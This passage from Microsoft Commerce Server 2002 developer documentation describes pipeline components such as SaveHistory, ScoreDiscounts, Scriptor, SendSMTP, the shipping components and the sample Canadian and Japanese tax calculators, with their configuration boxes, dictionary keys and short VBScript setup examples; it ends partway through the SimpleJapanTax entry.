    ' Create a Dictionary to hold configuration information.
    Set dConfig = CreateObject("Commerce.Dictionary")

    ' Add configuration information to the dictionary. SampleRegtionalTax
    ' only uses a connection string.
    dConfig("ConnectionString") = "DSN=adsamples;UID=username;PWD=******"

    ' Create a CacheManager object.
    Set CacheManager = Server.CreateObject("Commerce.CacheManager")

    ' Set the ProgID of the Loader component for the
    ' "SampleRegionalTaxCache" cache.
    CacheManager.LoaderProgId("SampleRegionalTaxCache") = _
                    "Commerce.SampleRegionalTaxCache"

    ' Set the Loader component config Dictionary for the cache.
    Set CacheManager.LoaderConfig("SampleRegionalTaxCache") = dConfig

    '
    ' Other CacheManager configuration code would appear here.
    '

    ' Store a reference to the CacheManager in the Application object.
    Set Application("CacheManager") = CacheManager

Code to run the pipeline containing the SampleRegionalTax component:

    ' Place a reference to the CacheManager in the context dictionary.
    Set dContext = Server.CreateObject("Commerce.Dictionary")
    dContext.CacheManager = Application("CacheManager")

    '
    ' Set other values and create the Order dictionary (dOrder) here.
    '

    ' Load and run the pipeline containing the tax component.
    Set pPooledPipe = Server.CreateObject("Commerce.PooledPipeline")
    pPooledPipe.LoadPipe("OrderAndTax.pcf")
    iErrVal = pPooledPipe.Execute(0, dOrder, dContext, 1)

See Also

Multiple-shipment Shipping Architecture

CacheManager Object

PooledPipeline Object

PooledTxPipeline Object


SaveHistory

Use this component to record the history string in one of three locations: the User Profile object, the ASP Session Collection, or the HTTP Cookie.

Although the component appears as SaveHistory in the Pipeline Editor, its ProgID is Commerce.CSFSaveHistory.

Intended use: Content Selection pipeline, Record stage.

Configuration Values

You can determine where the SaveHistory component saves the history string by setting component properties. Use the following boxes on the Save History tab of the Component Properties dialog box to determine this information. You must choose one of the following options.

Box | Description
User Profile Object | The property in the user profile to store the history string. The default is Advertising Info.Campaign History.
ASP Session Collection | The key in the Session object containing the history string. Requires that the component be configured with the proper key and that the pipeline be executing in IIS context. This is the default option.
HTTP Cookie | The key in the Cookies object containing the history string. This option requires that the component be configured with the proper key and that the pipeline be executing in IIS context.

Values Read

The SaveHistory component reads the following values from the indicated dictionary.

Key | Dictionary | Description
_history | Order | The history string retrieved by the LoadHistory component.

Values Written

None.

Errors

The SaveHistory component returns error level 3 (OPPERRORLEV_FAIL) when an error occurs.

Remarks

Saves the history string in one of the same three locations that the LoadHistory component can use as a source.

The property page for this component supports the same three choices as the property page for the LoadHistory component.

When using the User Profile object option, it's possible to use either a field that is mapped to a data column in a table, or a field that is not mapped. If the field is not mapped, the history string is persisted only for the duration of the user session and is later timed out of the profile cache. This method is more efficient than using the mapped method, but the mapped method allows the history string to be persisted across sessions. The unmapped option does not allow you to load balance Domain Name Server (DNS) network requests by sending the incoming requests to the next server in a list (round-robin load balancing).

See Also

LoadHistory


SaveReceipt

Use this component to save an order in a database table.

The SaveReceipt component is supplied for backward compatibility with Site Server 3.0 Commerce Edition only. In Commerce Server 2000 and Commerce Server 2002, use the SaveOrder method of the OrderGroup object to save the orders to the Transaction database.

Intended use: Order Processing pipeline, Accept stage.

Configuration Values

You can determine which items the SaveReceipt component will save in the database by setting component properties. Use the following boxes on the Save Receipt tab of the Component Properties dialog box to determine this information.

Box | Description
No Save Key Prefix | A prefix that identifies keys in the order form that should not be saved in the database table. Use this prefix to identify sensitive information such as credit-card numbers that should not be saved. The default prefix is _cc_.

Values Read

The SaveReceipt component reads the following values from the indicated dictionaries.

Key | Dictionary | Description
ReceiptStorage | Context | A reference to a DBStorage object pointing to a database in which to save the data.
<Various Fields> | Order | The SaveReceipt component saves all fields in the order form that have a corresponding name in the database table and that do not begin with the characters specified in the No Save Key Prefix box.

Values Written

None.

Remarks

The SaveReceipt component saves an order to a database table. The name of the database table is stored in the DBStorage object. The Context dictionary key ReceiptStorage points to the object. The SaveReceipt component saves all fields on the order form that have a corresponding column name in the database table.

See Also

DBStorage Object


ScoreDiscounts

Use this component in discount promotion selection to adjust scores of discount items to promote discounts most relevant to the current user.

Although the component appears as ScoreDiscounts in the Pipeline Editor, its ProgID is Commerce.CSFScoreDiscounts.

Intended use: Content Selection pipeline, Scoring stage.

Configuration Values

None.

Values Read

The ScoreDiscounts component reads the following values from the indicated dictionaries.

Key | Dictionary | Description
_content | Order | A reference to the ContentList object. Multiple fields are read. For more information, see the Remarks section..
Evaluator | Context | A reference to the Expression Evaluator component to use.
ContextProfile | Context | Optional. The ContentSelector object (a dictionary) used in expression evaluation. A SimpleList object of dictionaries can also be read from the ContextProfile object from a key named Products. Typically, this is a list of the products the user is viewing or browsing (on the current page, for example). This product list should have the same format as the items list in an OrderForm object once the QueryCatalogInfo component has been run on it, making all product attributes available for discount expressions.
UserProfile | Context | Optional. A reference to a ProfileObject object containing the user profile for the current user that is used in expression evaluation.
Items | ContextProfile | Optional. The items collection from the OrderForm object. This list of products should have the same format as the items list in an OrderForm object once the QueryCatalogInfo component has been run on it, making all attributes of a product available for discount expressions.
trace | Context | Optional. A Boolean indicating whether score adjustment tracing is enabled. This component will not produce trace strings unless this key is set to True.

The ScoreDiscounts component reads the following values for each item in the ContentList object referred to by the _content key.

Key | Description
required_exprs | The required expressions built on User and Context profiles. This is an array of expression IDs that must be True; otherwise the discount is assigned a score of zero (0).
condition_expr | The discount condition expression.
award_expr | The award condition expression.
date_start | The date the discount becomes active.
date_end | The date the discount expires.

Values Written

The ScoreDiscounts component writes the following value to the Order dictionary.

Key | Description
_content | A reference to the ContentList object. The score key of each content item in the object is assigned a value.

Remarks

This component adjusts the score of discount content items with the goal of promoting discounts most relevant to the current user. The algorithm is based on the following considerations:

  • The start and end dates of the discount. If the discount has not started, or has expired, it is disqualified.
  • Whether the item to be discounted is in the shopping basket.
  • Whether the item to be discounted is on the page being viewed (in the products list).

The following table lists the multipliers used based on the various combinations of the conditions and awards being met in the basket, in the products list, or not met. A condition or award being "met" means that the expression evaluates to True, but not necessarily that the cost or quantity amount was met. More than one entry in the table below may be met. The first one met is the one applied.

Condition | Award | Multiplier | Description
Met in basket | Applies to all (or free shipping) | 0.5 | The user is already receiving the benefit of the discount.
Met in basket | Met in basket | 0.5 | The user is already receiving the benefit of the discount.
Met in basket | Met in products | 1.6 | The user has half the discount in the basket, and is in the part of the site with the other half.
Met in basket | Not met | 1.4 | The user has half the discount in the basket.
Met in products | Applies to all (or free shipping) | 1.2 | The user is in the part of the site with half the discount.
Met in products | Met in basket | 1.6 | The user has half the discount in the basket, and is in the part of the site with the other half.
Met in products | Met in products | 1.4 | The user is in the part of the site with both halves of the discount.
Met in products | Not met | 1.2 | The user is in the part of the site with half the discount.
Not met | Applies to all (or free shipping) | 1.0 | Neutral context.
Not met | Met in basket | 1.4 | The user has half the discount in the basket.
Not met | Met in products | 1.2 | The user is in the part of the site with half the discount.
Not met | Not met | 1.0 | Neutral context.

The OrderDiscount component applies the discounts whose scores are adjusted by the ScoreDiscounts component. The ScoreDiscounts component saves the scores in the ContentList object held by the CacheManager object. That ContentList object is then used by the OrderDiscount component in another pipeline.

See Also

Discount Objects

CSFLoadDiscounts

OrderDiscount


Scriptor

Use this component to run a script in a Microsoft ActiveX scripting language such as PerlScript from ActiveState, or Microsoft Visual Basic Scripting Edition (VBScript).

Intended use: any pipeline, any stage.

Configuration Values

You can determine where the Scriptor component reads the script and the parameters passed to it by setting component properties. Use the following boxes on the Scriptor tab of the Component Properties dialog box to determine this information.

Box | Description
Scripting Engine | Specifies the scripting language in which the script is written. The a drop-down list contains the scripting engines installed on your system.
Source Specifies whether the script is stored internally or externally. The options are:
Internal
The script is stored in the pipeline (.pcf) file itself. In the Pipeline Editor, click Edit to display the script for editing.
External
The script is stored in a file on disk. Enter the path and file name of the script in the Filename box. You can import an external script and convert it to an internal script. For more information, see Configuring a Scriptor Component.
Config | The parameters passed to the script in the form name=value.

Values Read

None.

Values Written

None.

Remarks

The Scriptor component calls three procedures in the script, in turn:

  1. The MSCSOpen procedure. The Scriptor component calls this procedure first and passes it the Configuration dictionary. You may omit this procedure.
  2. The MSCSExecute function. This is the main Scriptor component procedure and must appear in the script. The function is passed, in order, to the Configuration dictionary, the Order dictionary (usually an OrderForm object), the Context dictionary, and a flags variable.
  3. The MSCSClose handler. The Scriptor component invokes this procedure after the MSCSExecute procedure returns. It has no arguments and may be omitted.

The MSCSExecute function must return a success code. If you write the script in VBScript, the MSCSExecute routine must be a function, not a subroutine. The MSCSExcute function return values are: 1 for success, 2 for warning, and 3 for failure.

Parameters entered in the Config box of on the Scriptor tab in the Component Properties dialog box are passed to the script in the Configuration dictionary. The name is used as the key, and the value on the right of the equal sign is the value assigned to that key.

This is because the MSCSExecute function must return a success value of 1, a warning value of 2, or a failure value of 3. Subroutines cannot return 1.

If you include the Scriptor component in a pipeline using the MtsTxPipeline object, you should not call methods of the ObjectContext object in the MSCSOpen or MSCSClose procedures. Calls to ObjectContext methods may be used only in the MSCSExecute procedure.

The Microsoft Transaction Server (MTS) context is not available to a Scriptor component or to any components called by a Scriptor component. Thus context.SetComplete and context.SetAbort are not available to scripts run by the Scriptor component.

See Also

Configuring a Scriptor Component


Configuring a Scriptor Component

The script run by a Scriptor component can be stored internally, as part of a pipeline configuration file (.pcf), or externally, in a separate file called by the component when it runs.

You can write a general-purpose script that can behave differently depending on the parameters that are passed to it. Save the script itself in a file, and then configure the Scriptor component to pass the parameters.

The Microsoft Transaction Server (MTS) context is not available to a Scriptor component or to any components called by a Scriptor (that is, context.SetComplete and context.SetAbort are not available to scripts hosted by the Scriptor component).

To configure a Scriptor component

To convert a Scriptor between external and internal

To configure a Scriptor component

  1. Click Start, point to Programs, point to Microsoft Commerce Server, and then click Pipeline Editor.
  2. On the File menu, click Open. Browse to the pipeline containing the Scriptor component, and click Open.
  3. Right-click the Scriptor component you want to configure, click Properties, and then click the Scriptor tab.
  4. On the Scriptor tab, do the following:
    Use this | To do this
    Scripting Engine | Select the language in which the script was written.
    Source Select Internal, and then click Edit. In the Scriptor -- Source Code Edit screen, type or paste the script for your component, and then click OK.

    Or, select External to store the script in an external file. In the Scriptor dialog box, click No, if you do not wish to export the internal source code. Type the path and file name in the Filename box.
    Config To pass parameters to the script, type the parameters for the component in the form name=value.

    Or, leave blank.
  5. Click OK, and then click Apply.

To convert a Scriptor between external and internal

  1. Click Start, point to Programs, point to Microsoft Commerce Server, and then click Pipeline Editor.
  2. On the File menu, click Open. Browse to the pipeline containing the Scriptor component, and click Open.
  3. Right-click the Scriptor component you want to configure, click Properties, and then click the Scriptor tab.
  4. To convert to external storage if the Scriptor has already been configured for an external file, click Internal, and then click Yes to confirm that you want to import the external file.

    Or, to convert to internal storage if the Scriptor has already been configured for an internal file, click External, and then click Yes to confirm that you want to export the internal file. Specify a name for the external file, and then click Save.

  5. Click OK.


SelectWinners

Use this component to choose items based on their final scores in the Content Selection pipeline.

Although the component appears as SelectWinners in the Pipeline Editor, its ProgID is Commerce.CSFSelectWinners.

Intended use: Content Selection pipeline, Select stage.

Configuration Values

You can determine when the SelectWinners component displays house ads by setting component properties. Use the following box on the Select Winners tab of the Component Properties dialog box to determine this information.

Box | Description
Switch to house ads | The threshold at which house ads will be selected over paid ads. When the maximum Need of Delivery (NOD) for paid ads drops below this value, house ads are selected. The default is 0.95.

Values Read

The SelectWinners component reads the following values from the indicated dictionaries.

Key | Dictionary | Description
_Content | Order | A reference to the ContentList object. Multiple fields are read. For more information, see the Remarks section.
NumRequested | Order | Optional. The number of content items that should be selected for return. The default is 1 (one).
PageHistory | Context | Optional. A reference to the page-level history string. The reference allows the history to be passed between requests for content that are on the same page (can be used cross-page as well). This key is retrieved from the ContextProfile dictionary in the Context dictionary. It contains the item_ids of content items already selected on the page.

The SelectWinners component reads the following values for each item in the ContentList referred to by the _content key.

Key | Description
Score | The final scores of the various content items.
Industry | The industry tag used to prevent two content items from same industry from being selected.
need_of_delivery | The contract requirements for delivering the ad.
ad_type | A paid (1) versus house (2) ad type.
customer_id | This key is used to prevent competing ads.
ad_weight | This key is used for house ads to allow some to be displayed more frequently.

The Score key is required. Other keys are required only for ad selection.

Values Written

The SelectWinners component writes the following values to the indicated dictionaries.

Key | Dictionary | Description
_event | Order | This key is set to the string "REQUEST", unless it is already set.
PageHistory | Context | The new page history, now including items selected in the current request. The PageHistory key is in the ContextProfile dictionary in the Context dictionary.
_winnerindexes | Order | A reference to a SimpleList object containing the ContentList object indexes of selected content items.

Remarks

To communicate the winners, the SelectWinners component builds a new SimpleList object that contains the ContentList object indexes up to the requested number of winning content items.

The SelectWinners component performs the following additional actions:

  • Sets the _event key to the string "REQUEST", unless it is already set.
  • Uses the PageHistory key to prevent showing the same ad more than once on a page. This is most useful in network ad models where multiple selection requests are made from the same page.
  • Prevents competing ads from appearing on the same page. This is based on the industry setting of each ad, combined with a user identifier.

This component looks at the NumRequested key in the Order dictionary to determine how many content items to select. If that key is missing, one content item is selected. It is not considered an error to return fewer than NumRequested content items. The caller must handle this condition.

The PageHistory key is a string containing a list of IDs for content items already selected for the current page. The caller defines what constitutes a "page," and the caller is responsible for saving the PageHistory key across calls to the same page. The item_id keys from the content items in the ContentList object are written to this string in decimal form and are separated by commas. If the same ContentSelector object is used for multiple content requests on the same page, then the PageHistory key will automatically be passed between the calls.

The following list describes the selection algorithm for ads:

  • Items appearing in the PageHistory key are not eligible for selection.
  • Paid ads with a Need of Delivery (NOD) value greater than the house ad threshold will always be selected over house ads.
  • Ads that compete with another ad that was already selected, including ads in the PageHistory key, are not eligible for selection. Competing ads are defined as ads in the same industry but from different users.
  • Selection proceeds are based on score, returning higher scores first. If multiple paid ads have the same score, selection between them is random.

The following list describes the selection algorithm for content types other than ads:

  • Items appearing in the PageHistory key are not eligible for selection.
  • Selection proceeds are based on score, returning higher scores first. If multiple items have the same score, selection between them is random.

See Also

ContentList Object

ContentSelector Object


SendPrecomposedMessage

Use this component to send a direct mail message composed in earlier stages in the pipeline.

Although the component appears as SendPrecomposedMessage in the Pipeline Editor, its ProgID is Commerce.DMLSendPrecomposedMessage.

Intended use: Direct Mailer pipeline, Send E-mail stage.

Configuration Values

None.

Values Read

The SendPrecomposedMessage component reads the following values from the indicated dictionaries.

Key | Dictionary | Description
rcp_bypass | Order | Boolean. The component bypasses (skips) processing if True.
cdo_result | Order | The result code (an HRESULT) from the most recent Collaboration Data Objects (CDO) operation.
cdo_message | Context | A reference to the CDO message object (CDO.Message).

Values Written

The SendPrecomposedMessage component writes the following values to the Order dictionary.

Key | Description
messages_sent | The total number of messages sent for this pipeline cycle.
cdo_result | The result code (an HRESULT) from the most recent CDO operation.
cdo_error | Optional. An error string from the most recent CDO operation, if any. NULL if there is no error.

Remarks

The SendPrecomposedMessage component attempts to send a direct mail message using CDO for Microsoft Windows 2000. The component skips processing the message if the bypass flag (rcp_bypass) is True or if the cdo_result key is not equal to S_OK.

The component checks for errors after each CDO operation.

See Also

AddAttachments

ComposeDMLMessage

CreateUPMCookie

ThrottleDMLPerformance

VerifyMessageBody

VerifyRecipientData


SendSMTP

Use this component to send an e-mail message to a specified recipient.

Intended use: Commerce Interchange Transmit pipeline, Transport stage.

Configuration Values

You can determine where the SendSMTP component sends the message and the information sent by setting component properties. Use the following boxes on the Send SMTP tab of the Component Properties dialog box to determine this information.

Box | Description
From (required) | The e-mail address from which the message is sent. This is the actual e-mail address rather than a key containing the e-mail address.
SMTP Host (required) | The name or Internet Protocol (IP) address of the Simple Mail Transfer Protocol (SMTP) mail server that will transmit the object. This is the actual name of the server rather than a key containing the name.
To (required) | The key in the Order dictionary containing the e-mail address to send the message to.
Cc | The key in the Order dictionary containing the e-mail addresses to send copies of the message to.
Subject | The key in the Order dictionary that contains the text to display in the Subject box of the e-mail message.
Character Set for Subject | The character set to use to encode the subject of this e-mail message. This drop-down list displays the character sets currently installed on this computer.
Message Body | The key in the Order dictionary containing the message to include in the body of the e-mail message.
MIME header and body | Indicates the business data object is already encapsulated in a Multipurpose Internet Mail Extensions (MIME) header. If you select this option, the component uses the character set and header already encapsulated with the message rather than generating its own MIME header and using the character set specified in the Character Set for Subject box.
Text Body | Indicates the business data object consists of straight ASCII text and no further processing is needed.
Binary body | Specifies that the business data object is a binary blob. The SendSMTP component will base64-encode it before sending.

Values Read

None.

Values Written

None.

Remarks

The SendSMTP component sends a business data object as an e-mail message to an SMTP mail server. If you are using Microsoft Exchange and Outlook, you can run a Visual Basic script to invoke an OrderPipeline object (but not an MtsPipeline or MtsTxPipeline object) on the Exchange server to process the received messages.

In order for the SendSMTP component to properly support character set conversion, the corresponding Windows NT code page must be installed on the computer. For example, the US version of the Windows NT installation does not include the Japanese code page (code page 932), which must be present to convert Unicode to ISO-2022-jp. For information on installing a code page, see Microsoft Knowledge Base article Q164948.

Programmatic Use

To use this component outside a pipeline, you must configure it by assigning values to keys in the Configuration dictionary. The keys correspond to the indicated boxes in the Component Properties dialog box.

Key | Box | Description
From | From | String.
SMTPHost | SMTP Host | String.
ToField | To | String.
CCField | CC | String.
SubjectField | Subject | String.
CharSet | Character Set for Subject | String.
BodyField | Message Body | String.
BodyType Message Body contains option buttons Numeric:
0
MIME header and body
1
Text body
2
Binary body

For more information about using pipeline components outside pipelines, see MicroPipe Object.

See Also

Test SendSMTP


Test SendSMTP

Use this property page to send a test e-mail message to check the configuration of the SendSMTP component.

Box | Description
Email address to send text message to | The complete e-mail address to send the message to.


ShippingDiscountAdjust

Use this component to apply shipping discounts to an order.

Intended use: Order Processing pipeline, Shipping stage, following the Commerce.ShippingMethodRouter component.

Configuration Values

None.

Values Read

The ShippingDiscountAdjust component reads the following values from the indicated dictionaries.

Key Dictionary Description
_currency_decimal_places
 Order Optional (if not set, the _currency_lcid key must be set, and the number of currency decimal places will be the default for that locale). Describes the number of digits of precision (after the decimal point) for which to round certain intermediate results, and to round to when writing currency values into the OrderForm.

Type: Integer (VT_I4)

_currency_lcid
 Order Optional (required only if the _currency_decimal_places key is not set, otherwise it is ignored). Describes a locale (LCID) to use to retrieve the number of currency decimal places.

Type: Integer (VT_I4)

_cy_shipping_total
 Order Required. The total shipping charges for the entire order as computed by a component such as ShippingMethodRouter.

Type: Currency (VT_CY)

Note

  • If the shipments key is set, then this value will not be used on input, however, it will be modified on output.

_orderlevel_discounts_detail
 Order Optional (if this key does not exist in the OrderForm, or if the shipping_discount key of this dictionary does not exist, then the _cy_shipping_discounts_total value is set to zero, and no other action is taken). A dictionary that maps special offer types to a list of order level discounts that applies for that special offer type. The SimpleList object under the shipping_discount special offer type key is used.

Each element is a dictionary. The exact format of the dictionary depends on whether the element represents a combination of percentage-off discounts of the same priority, or a single discount.

Following are the dictionary entries if the element represents a single discount:

  • discount_id: Integer (VT_I4)
  • discount_timestamp: Last_modified timestamp of the discount (VT_DATE)
  • discount_name: Discount name (VT_BSTR)

Following are the dictionary entries if the element represents a combined percentage-off discount:

  • discounts_combined: SimpleList object that describes each of the discounts that were combined. Each element in this list is a Dictionary with the following keys:
    • discount_id: Integer (VT_I4)
    • cy_discount_percentage: Value (VT_CY)
    • discount_timestamp: Llast_modified tiemestamp of the discount (VT_DATE)
    • discount_name: Discount name (VT_BSTR)

Following are the dictionary entries that exist in both cases:

  • discount_priority: Priority (rank)
  • discount_type: 1=Currency; 2=Percentage (VT_I4)
  • cy_discount_value: Currency or Percentage value (VT_CY). If the element represents a combined percentage-off discount, this is the total percentage.

The order the elements appear in the list is significant, because it is the order that OrderDiscount has determined they should be applied.

Type: Currency (VT_CY)

Note

  • This is the list used by OrderDiscount to specify to other pipeline components the complete list of order level discounts that should be applied to the basket.

Shipments
 Order Optional (if the Splitter component is not used, the order will be treated as one single shipment for purposes of applying shipping discounts). The list of shipments in this order, as created by the Splitter component.

Type: IDictionary (VT_DISPATCH)

shipments._cy_shipping_total
 Order Required. The shipping totals for each individual shipment, as computed by a component such as ShippingMethodRouter.

Type: Currency (VT_CY)

SiteName
 Context Optional. Used only for reporting the site name as part of some limited error messages, which may be reported to the Event log.

Type: String

Values Written

The ShippingDiscountAdjust component writes the following values to the Order dictionary.

Key Description
_cy_shipping_total Not always written (modified only if one or more shipping discounts apply). The total shipping charges for the order with the discounts (if any) applied.

Type: Currency (VT_CY)

_cy_shipping_discounts_total
 Always written (if no shipping discounts apply, this is set to zero). Sum of all shipping discounts applied to the order.

Type: Currency (VT_CY)

_shipping_discounts_applied
 Not always written (only written when no shipments list exists in the OrderForm, and one or more shipping discounts apply). A SimpleList of dictionaries where each dictionary contains information about a shipping discount that was applied to this shipment. The order of the list is significant and represents the order in which the discounts were applied to the shipment.

The dictionary contains the following elements for each discount:

  • discount_id: Campaign item ID (VT_I4)
  • discount_priority: Discount priority (rank) (VT_I4)
  • discount_timestamp: Last-modified timestamp of the discount (VT_DATE)
  • cy_discount_amount: How much was actually taken off of the item (VT_CY)
  • discount_type: 1=Currency Value; 2=Percentage (VT_I4)
  • cy_discount_value: Currency value or percentage value (VT_CY)\
  • discount_name: Discount name (VT_BSTR)

Type: Dictionary (VT_DISPATCH)

shipments._cy_shipping_total
 Not always written (modified only if one or more shipping discounts apply). The total amount of shipping charges for the shipment after shipping discounts have been applied.

Type: Currency (VT_CY)

shipments._cy_shipping_discounts_subtotal
 Not always written (only written if one or more shipping discounts apply to the shipment). The sum of all shipping discounts applied to this shipment.

Type: Currency (VT_CY)

shipments._shipping_discounts_applied
 Not always written (only written if one or more shipping discounts apply to the shipment). A SimpeList of dictionaries where each dictionary contains information about a shipping discount that was applied to this shipment. The order of the list is significant and represents the order in which the discounts were applied to the shipment.

The dictionary contains the following elements for each discount:

  • discount_id: Campaign item ID (VT_I4)
  • discount_priority: Discount priority (rank) (VT_I4)
  • discount_timestamp: Last-modified timestamp of the discount (VT_DATE)
  • cy_discount_amount: How much was actually taken off of the item (VT_CY)
  • discount_type: 1=Currency Value; 2=Percentage (VT_I4)
  • cy_discount_value: Currency value or percentage value (VT_CY)\
  • discount_name: Discount name (VT_BSTR)

Type: Dictionary (VT_DISPATCH)

Remarks

In Commerce Server 2002 pipelines, the ShippingDiscountAdjust component is used to provide free shipping by writing zero (0) for the _cy_shipping_total key.

For more information about extending the ShippingDiscountAdjust component, see Order Level Discount Pipeline Components.

See Also

OrderLevelDiscountApply

Shipping Object

ShippingManagerCache

ShippingMethodManager Object

ShippingMethodRouter

StepwiseShipping


ShippingManagerCache

Use this component with the CacheManager object to load shipping data for the multiple shipments shipping architecture.

Note

  • Although the ShippingManagerCache component implements two of the pipeline component interfaces (IPipelineComponent and IPipelineComponentAdmin), it is not a pipeline component, it does not appear in the Pipeline Editor, and it cannot be used or configured from the Editor.

Configuration Values

None.

Values Read

None.

Values Written

None.

Remarks

You can use the ShippingManagerCache component with the CacheManager object to store shipping method information for the Splitter and ShippingMethodRouter pipeline components.

When run by the CacheManager object, the ShippingManagerCache component uses two pipeline dictionaries (Order and Context) to determine how to run and how to return information to the CacheManager object.

Example

See the example in the Setting Up the Pipeline and Cache section in the Shipping Objects topic.

See Also

CacheManager Object

Shipping Object

ShippingDiscountAdjust

ShippingMethodManager Object

ShippingMethodRouter

StepwiseShipping


ShippingMethodRouter

Use the ShippingMethodRouter component as part of the multiple-shipment shipping architecture to look up and run the components to process the shipments and calculate the shipping total for the entire order.

Note

  • Shipping components designed to be run by the ShippingMethodRouter component should never be placed directly in a pipeline.

Intended use: Order Processing pipeline, Shipping stage.

Configuration Values

None.

Values Read

The ShippingMethodRouter component reads the following values from the indicated dictionaries.

Key | Dictionary | Description
Shipments | Order | A SimpleList object of dictionaries, one shipment per dictionary.
shipments._cy_shipping_total | Order | The shipping totals for each individual shipment.
CacheManager | Context | A reference to a CacheManager object used to handle the shipping method data.
MessageManager | Context | Optional. Messages returned in case of pipeline component failure.

Values Written

The ShippingMethodRouter component writes the following values to the Order dictionary.

Key | Description
_cy_shipping_total | The total shipping for all shipments in the order.

Remarks

The shipping components (other than the Splitter component) are run by the ShippingMethodRouter component.

The component next steps through the list of shipping methods. If there are shipments using a given method, the ShippingMethodRouter, passes the shipments to the shipping component, and runs the component. The individual shipping components calculate the total shipping charges for the shipments passed to it. When all of the shipments have been processed, the ShippingMethodRouter component calculates the total of all of the shipping charges.

The ShippingMethodRouter component instantiates only the components it will use.

See Also

Multiple-shipment Shipping Architecture

Shipping Object

ShippingDiscountAdjust

ShippingManagerCache

ShippingMethodManager Object

StepwiseShipping


SimpleCanadaTax

Use this component to calculate the Canadian Goods and Services Tax (GST) and Provincial Sales Tax (PST).

Note

  • The SimpleCanadaTax component is a Site Server 3.0 Commerce Edition sample tax component. The SampleRegionalTax component is the sample tax component for Commerce Server 2000 and Commerce Server 2002. Because all tax components in the product are intended only as samples, Microsoft strongly recommends that you have an independent tax professional verify all applicable tax rates and data generated by this component before you use such information for personal or business purposes.

Intended use: Order Processing pipeline, Tax stage.

Configuration Values

You can determine how the SimpleCanadaTax component calculates the tax by setting component properties. Use the following boxes on the Simple Canada Tax tab of the Component Properties dialog box to determine this information.

Box | Description
Apply when Determines when to apply the tax. The values are:
Always
Default. Specifies that the tax is always applied to the order.
Equal to country
Specifies that the tax should be applied when the value of the ship_to_country key in the Order dictionary is the same as the string specified in the Country box.
Has any value
Specifies that the tax is applied when the ship_to_country key of the order has any non-null value.
Country | The string to compare to the ship_to_country key in the order.
GST Item Key | The key in the order form whose value is the GST rate.
PST Item Key Prefix | A prefix that the SimpleCanadaTax component prepends to the name of the province to which the item is being shipped (from the ship_to_state key in the order form). The component uses this concatenated string to look up the PST rate on the order form.
Province List | The space-separated list of provinces for which to compute the tax.

Values Read

The SimpleCanadaTax component reads the following values from the indicated dictionaries.

Key | Dictionary | Description
item._oadjust_adjustedprice | Order | The total cost for an item.
ship_to_state | Order | The state to ship to.
item._product_gst | Order | Dynamic. Default shown. The GST for an item. The key name is determined by the value in the GST Item Key configuration box.
item._product_pst__* | Order | Dynamic. Default shown. The PST for an item in a given province. The province abbreviation is appended to the name and should match one in the Province List box. The key name is determined by the value in the PST Item Key Prefix configuration box.
ship_to_country | Order | The country/region to ship to.

Values Written

The SimpleCanadaTax component assigns values to the following keys in the Order dictionary.

Key | Description
item._tax_total | The total tax for items with this stockkeeping unit (SKU).
item._tax_included | The amount of tax included in the cost of the item.
_tax_total_gst | The total GST for the order.
_tax_total_pst | The total PST for the order.
_tax_total | The total tax for this order.
_tax_included | The amount of tax included in the cost of the order.

Remarks

GST is common throughout Canada and almost all goods and services have a GST. If a product is taxed, the GST rate is the same throughout Canada. However, some products are not taxed and some service merchants (making less than a given amount) may elect not to charge GST. Each province has its own PST, usually a fixed rate for all products, but the PST rate still depends on the product (although a province may elect to tax an item not taxed by another province).

When shipping from one province to another you do not pay any PST. Although not common, a product may have a PST but not a GST. The reverse may also be true.

The data used by the SimpleCanadaTax component is usually provided by the QueryCatalogInfo or QueryProdInfoADO component. The SimpleCanadaTax component always sets the _tax_included keys to zero (0) for both the items and the order. The component does not handle fractions of base currency units. All calculations are rounded to the nearest whole unit.

The combination of the Key, Apply when, and Country boxes determine whether tax should be applied, but only if the order is being shipped to one of the provinces in the Province List box.

The SimpleCanadaTax component first checks the value in the Apply when box:

  • If it is set to Always, the tax is always applied to the order.
  • If the value in the Apply when box is set to Has any value, the tax is applied to the order whenever the order form contains any value for the ship_to_country key.
  • If the value in the Apply when box is set to Equal to Country, the component does a comparison between the value of the ship_to_country key on the order form and the text string in the Country box. If there is a match, the tax is applied.

If the component determines that tax should be applied, it compares the value of the ship_to_state key on the order form to the list of provinces specified in the Province List box. If there is a match, indicating the order is going to a province where tax is collected, the component does two things. First, it retrieves the GST rate from the field on the order form identified by the GST Item Key box. Second, it prepends the prefix specified in the PST Item Key Prefix box to the name of the province to which the item is being shipped (from the ship_to_state key on the order form). The component then uses this concatenated string to look up the PST rate on the order form.

Example

To specify that a 2% GST tax rate and a 4.5% Alberta PST rate is charged for an item shipped to Alberta, Canada, do the following (assuming that you are using the QueryProdInfoADO component to retrieve product information):

  1. Add a column for the GST rate to your product table. The tax rate should be specified as a real number:
can_prod_gst_tax_rate real NOT NULL
  1. Add a column for the Alberta PST rate to your product table. The tax rate should be specified as a real number:
can_prod_pst_tax_rate_alb real NOT NULL
  1. Assign tax rates to each product in your product table using an SQL script. For this example, assign the 2% GST tax rate and the 4.5% Alberta PST tax rate to Product ABC. Type 2.0 into the can_prod_gst_tax_rate column and 4.5 into the can_prod_pst_tax_rate_alb column in the Product ABC row.
  2. Double-click the SimpleCanadaTax icon in the Pipeline Editor and enter the following in the resulting property page:
    Box | Value
    Apply when | Has any value
    Country | CAN
    GST Item Key | _product_can_prod_gst_tax_rate
    PST Item Key Prefix | _product_can_prod_pst_tax_rate
    Province List | Alb

Note that if the user types a country/region or province on the order form that is not specified in the SimpleCanadaTax component configuration, the values will not be assigned to the _tax_total and _tax_included keys in the order and the items will not be set.


SimpleJapanTax

Use this component to compute taxes according to the Japanese tax model.

Note

  • The SimpleJapanTax component is a Site Server 3.0 Commerce Edition sample tax component. The SampleRegionalTax component is the sample tax component for Commerce Server 2000 and Commerce Server 2002. Because all tax components in the product are intended only as samples, Microsoft strongly recommends that you have an independent tax professional verify all applicable tax rates and data generated by this component before you use such information for personal or business purposes.

Intended use: Order Processing pipeline, Tax stage.

Configuration Values

You can determine how the SimpleJapanTax component calculates the tax by setting component properties. Use the following boxes on the Simple Japan Tax tab of the Component Properties dialog box to determine this information.

Box | Description
Apply when Determines when to apply the tax. The values are:
Always
Default. Specifies that the tax is always applied to the order.
Equal to country
Specifies that the tax should be applied when the value of the ship_to_country key in the Order dictionary is the same as the string specified in the Country box.
Has any value
Specifies that the tax is applied when the ship_to_country key of the order has any non-null value.
Country | The string to compare to the ship_to_country key in the order to determine if tax is applied.
Include Item Key | The key in the Item dictionary that indicates whether or not tax is already included in the price of the item.
Rate Item Key | The key in the item that contains the tax rate charged for the item.

Values Read

